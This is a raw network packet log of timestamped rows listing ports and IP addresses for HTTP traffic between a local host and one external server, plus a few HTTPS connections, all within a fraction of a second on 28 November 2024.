Nov 28, 2024 00:19:45.230545044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.230621099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.231456041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.231532097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.231568098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.231676102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.232687950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.232758045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.232836962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.232877016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.233731031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.233813047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.233860970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.233910084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.234842062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.234910011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.234927893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.234997034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.236016035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.236164093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.236205101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.236253023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.237140894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.237193108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.237267971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.238277912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.238348961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.238430977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.238487005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.239396095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.239439964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.239464045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.239502907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.240536928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.240598917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.240613937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.240652084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.241693974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.241818905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.241910934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.242038012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.242878914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.242938042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.243014097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.243071079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.243988037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.244043112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.244051933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.244102001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.245080948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.245146990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.245229006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.245279074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.246239901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.246315956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.246350050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.246577024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.247361898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.247371912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.247428894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.299983978 CET	49867	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.300044060 CET	443	49867	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:45.300188065 CET	49867	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.306406021 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.306443930 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:45.306499004 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.306622028 CET	49867	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.306648016 CET	443	49867	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:45.306845903 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:45.306862116 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:45.324029922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.324110985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.324155092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.324197054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.324613094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.324683905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.324713945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.324759960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.325769901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.325829029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.325843096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.325875044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.326920986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.327060938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.327096939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.327130079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.328041077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.328104973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.328138113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.328183889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.329132080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.329189062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.329350948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.329396963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.330302000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.330365896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.330390930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.330599070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.331406116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.331459999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.331492901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.331530094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.332551003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.332659960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.332736015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.333736897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.333827972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.333837032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.333890915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.334811926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.334876060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.334939957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.335118055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.335957050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.336009979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.336052895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.336086988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.337080956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.337145090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.337189913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.337229013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.338258028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.338345051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.338382959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.338418961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.339360952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.339415073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.339473963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.339526892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.340461016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.340526104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.340564013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.340600014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.341600895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.341671944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.341715097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.341751099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.342740059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.342813969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.342825890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.342880011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.343867064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.343986988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.344039917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.345010996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.345082045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.345104933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.345237970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.346116066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.346178055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.346195936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.346266985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.347259998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.347328901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.347387075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.347421885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.348409891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.348457098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.348526955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.348674059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.349462032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.349510908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.383160114 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.383457899 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:45.383487940 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.383881092 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.383894920 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.383944988 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:45.383960009 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.384004116 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:45.384607077 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.385920048 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:45.385994911 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.386296034 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:45.386307955 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:45.406506062 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.406785011 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.406812906 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.407167912 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.407466888 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.407546043 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.407808065 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.407975912 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.408147097 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.408184052 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.409424067 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.409497023 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.409811020 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.410017967 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.410214901 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.425164938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.425175905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.425234079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.425448895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.425494909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.425601959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.425709963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.426295042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.426352024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.426429033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.426476955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.427133083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.427191019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.427206993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.427242041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.427830935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.427850962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.427891016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.427926064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.428637028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.428685904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.428729057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.429598093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.429662943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.429737091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.429776907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.430365086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.430419922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.430480003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.430639029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.431214094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.431265116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.431292057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.431324959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.432126045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.432173967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.432210922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.432244062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.433031082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.433103085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.433115959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.433154106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.433856964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.433918953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.434020042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.434101105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.434715033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.434777975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.434865952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.434900999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.435596943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.435662031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.435708046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.435805082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.436460972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.436513901 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:45.436577082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.436599970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.436613083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.437345982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.437375069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.437402010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.437439919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.438236952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.438290119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.438400030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.438532114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.439188957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.439239979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.439316034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.439517021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.440036058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.440083981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.440207005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.440243006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.440818071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.440879107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.440911055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.440946102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.441721916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.441777945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.441798925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.441832066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.442574024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.442635059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.442694902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.442815065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.443438053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.443487883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.443517923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.443555117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.444346905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.444370985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.444395065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.444426060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.445303917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.445370913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.445374966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.445405960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.446031094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.446172953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.446180105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.446208000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.446948051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.446985960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.446993113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.447031975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.447778940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.447824955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.447870016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.448009014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.448668957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.448754072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.448753119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.448788881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.449536085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.449589968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.449632883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.449666977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.450407028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.450455904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.450470924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.450505972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.452140093 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.452166080 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.455336094 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.462924004 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.463125944 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.463154078 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.463570118 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.463805914 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.464076042 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.464176893 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.464301109 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.464313030 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.464462042 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.465363979 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.465415955 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.466126919 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.466196060 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.466255903 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:45.511341095 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.511354923 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:45.534446955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.534517050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.534528971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.534569979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:45.534877062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.535032988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:45.535084963 CET	49794	80	192.168.2.6	185.215.113.206
